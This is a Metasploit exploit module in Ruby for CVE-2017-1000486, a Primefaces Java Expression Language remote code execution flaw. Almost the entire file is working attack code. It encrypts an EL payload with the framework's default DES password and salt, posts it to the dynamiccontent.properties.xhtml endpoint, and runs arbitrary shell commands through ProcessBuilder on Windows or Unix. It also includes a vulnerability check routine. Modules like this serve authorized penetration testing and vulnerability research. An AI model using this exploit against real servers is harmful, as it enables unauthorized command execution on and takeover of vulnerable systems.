##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Primefaces Remote Code Execution Exploit',
        'Description' => %q{
          This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.
          Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
          due to the use of weak crypto and default encryption password and salt.

          Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
          documentation for working payloads.
        },
        'Author' => [
          'Bjoern Schuette', # EDB
          'h00die' # lots of fixes, documentation, standardization
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2017-1000486'],
          ['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
          ['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'],
          ['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'],
          ['URL', 'https://github.com/primefaces/primefaces/issues/1152'],
          ['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'],
          ['EDB', '43733']
        ],
        'Payload' => {
          'BadChars' => '"\'\\' # all threw errors
        },
        'Privileged' => true,
        'DisclosureDate' => '2016-02-15',
        'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Universal', {},
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(80),
      OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']),
      OptString.new('TARGETURI', [true, 'The base path to primefaces', '/'])
    ])
  end

  def encrypt_el(password, payload)
    # el == Java Expression Language
    salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
    iteration_count = 19

    cipher = OpenSSL::Cipher.new('DES')
    cipher.encrypt
    cipher.pkcs5_keyivgen password, salt, iteration_count

    ciphertext = cipher.update payload
    ciphertext << cipher.final
    ciphertext
  end

  def http_send_command(payload_wrapper)
    encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper)
    encrypted_payload = Rex::Text.encode_base64(encrypted_payload)

    # send the payload and execute command
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'),
      'vars_post' => {
        'pfdrt' => 'sc',
        'ln' => 'primefaces',
        'pfdrid' => encrypted_payload
      }
    })

    res
  end

  def exploit
    cmd = payload.encoded

    # good for testing
    # cmd = "whoami"
    # error logs will show
    # Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle
    # SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed
    payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
    payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
    payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
    payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
    payload_wrapper << '${session.getAttribute("scriptengine").eval('
    payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");'
    payload_wrapper << 'var proc = null;'
    payload_wrapper << 'os.toLowerCase().contains(\"win\")? '
    payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()"
    payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();"
    payload_wrapper << 'var is = proc.getInputStream();'
    payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
    payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
    payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
    payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'

    vprint_status("Attempting to execute: #{cmd}")
    res = http_send_command(payload_wrapper)
    fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500
    # successful exploitation gives us no response
  end

  def check
    marker = rand_text_alpha_lower(5..9)
    # https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92
    # payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
    payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"

    res = http_send_command(payload_wrapper)
    return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
    return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker

    Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable')
  end

end
